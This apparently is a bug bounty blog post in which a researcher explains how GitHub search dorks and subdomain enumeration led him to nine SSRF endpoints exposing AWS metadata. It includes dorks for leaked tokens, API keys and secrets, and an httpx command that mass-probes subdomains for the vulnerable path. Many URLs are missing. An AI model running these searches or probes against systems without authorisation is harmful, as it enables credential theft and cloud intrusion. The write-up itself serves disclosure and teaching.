How Github recon help me to find NINE FULL SSRF Vulnerability with AWS metadata access

Hi, everyone

My name is Santosh Kumar Sha, I’m a security researcher from India(Assam). In this article, I will be describing how I was able to to find 9 full SSRF vulnerability with AWS metadata access BY doing some GITHUB recon.


TOOLS used for the exploitation

1. Subfinder (

2. httpx (

3. gau(Corben) —

4. waybackurls(tomnomnom) —

Story Behind the bug:

Here it goes:

In-scope : *

To gather all the subdomain from internet archives i have used subfinder , waybackurls tool and gau.

Command used:

gau -subs


So the chance of missing the subdomain still exist so in-order to be ahead of the game I don’t want to miss any subdomain for testing so I used subfinder and pipe to waybackurls to get all the domain for all the subdomain if exist and save it to a file.

So the final command will look like this:

waybackurls | unfurl domains >> vul2.txt

subfinder -d -silent >> vul3.txt

Now collecting all subdomain in one and sorting out the duplicates

cat vul1.txt vul2.txt vul3.txt | sort -u >> unique_sub.txt

NOW the actual Github recon start:

“” user:<username> <keytosearch>

“” user:<username> <keytosearch>

“” user:<username> <keytosearch>

So I used some simple dorks like below but not leaked were found

“” user:<username> auth_token

“” user:<username> apikey

“” user:<username> secret

So i decided to search for path , endpoints and command used parameter and with the organization name along with path , endpoints and command used parameter as keywords. The GitHub dork was like below:

First i tried to find endpoint and path for admin and user dashboard

“” org:<name of organization> “/admin/dashboard”

“” org:<name of organization> “/users/dashboard”

“” org:<name of organization> “/admin/setup”

But I didn’t any an useful output from that.

Now I decided to look for some command user parameter just just to see what i am getting.

“” org:<name of organization> “next_url”

“” org:<name of organization> “img_url”

Still no success But when i use these parameter “image”

“” org:<name of organization> “image”

I Show a path in the GitHub leaked by one of there in there commit section and the endpoint with the URL was like these below


Now I just visited the urls in browser with my finger cross And it download a text file with all AWS internal metadata.

curl -sk “

Now How I was able to find eight more ssrf :

cat unique_sub.txt | sort -u | httpx -silent -path “/fetch/info?inquiry=&image_Host=” -status-code -content-length

I Finally got 8 more SSRF by same path on different subdomain.

I quickly reported the bug and in the next day the report was triage to critical

After seeing this my reaction …


I’m sure that a lot of security researcher had already see there process but this how I approach for Finding endpoint on GitHub leaks by organization user and also GitHub it commit page also for unauthorized access or for finding some vulnerability by exploiting that endpoint leaked on GitHub

That’s one of the reasons why I wanted to share my experience. also to highlight other techniques to exploit such vulnerability.

Support me if you like my work! Buy me a coffee and Follow me on Twitter.

Like to hack and break security code and denfense |Security Researcher |pentester | Bugbounty hunter | Pentration tester | CTF player | BUGBOUNTY